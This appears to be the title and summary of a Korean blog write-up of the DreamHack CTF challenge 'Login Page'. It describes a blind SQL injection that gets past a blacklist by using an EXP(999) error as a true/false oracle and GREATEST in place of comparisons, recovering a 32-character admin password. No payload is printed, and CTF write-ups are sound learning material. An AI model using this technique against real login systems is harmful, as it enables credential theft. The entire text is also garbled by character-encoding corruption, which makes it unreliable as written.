[๐Ÿฅˆ Silver 1] ๋กœ๊ทธ์ธ์— ์„ฑ๊ณตํ•˜๋Š” ์ˆœ๊ฐ„ ๋‹ต์ด ๋ฐ”๋€๋‹ค โ€” DreamHack Login Page ํ’€์ด
blog

[๐Ÿฅˆ Silver 1] ๋กœ๊ทธ์ธ์— ์„ฑ๊ณตํ•˜๋Š” ์ˆœ๊ฐ„ ๋‹ต์ด ๋ฐ”๋€๋‹ค โ€” DreamHack Login Page ํ’€์ด

๋ถ€๋“ฑํ˜ธ๋„ ์‹œ๊ฐ„์ง€์—ฐ๋„ ๋ธ”๋ž™๋ฆฌ์ŠคํŠธ์— ๋ง‰ํžŒ ๋ธ”๋ผ์ธ๋“œ SQL ์ธ์ ์…˜. ๊ฒŒ๋‹ค๊ฐ€ ์ฟผ๋ฆฌ๊ฐ€ ํ–‰์„ ๋ฐ˜ํ™˜ํ•˜๋ฉด ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด admin ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์ƒˆ๋กœ ๋งŒ๋“ค์–ด ๋ฒ„๋ ค์„œ, ํ”ํ•œ "์ฐธ์ด๋ฉด ๋กœ๊ทธ์ธ๋œ๋‹ค" ์˜ค๋ผํด์„ ์“ฐ๋Š” ์ˆœ๊ฐ„ ๋‹ต์ด ๋ฐ”๋€๋‹ค. ์กฐ๊ฑด์ด ์ฐธ์ผ ๋•Œ๋งŒ MySQL ์„ EXP(999) ๋กœ ์ฃฝ์—ฌ HTTP 500 ์„ ์–ป๊ณ , ๋น„๊ต๋Š” GREATEST ํ•ญ๋“ฑ์‹์œผ๋กœ ๋Œ€์‹ ํ•ด 32์ž ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ 225์งˆ์˜์— ๋ณต์›ํ–ˆ๋‹ค.
#dreamhack#ctf#web+5
2026-08-10#dreamhack +4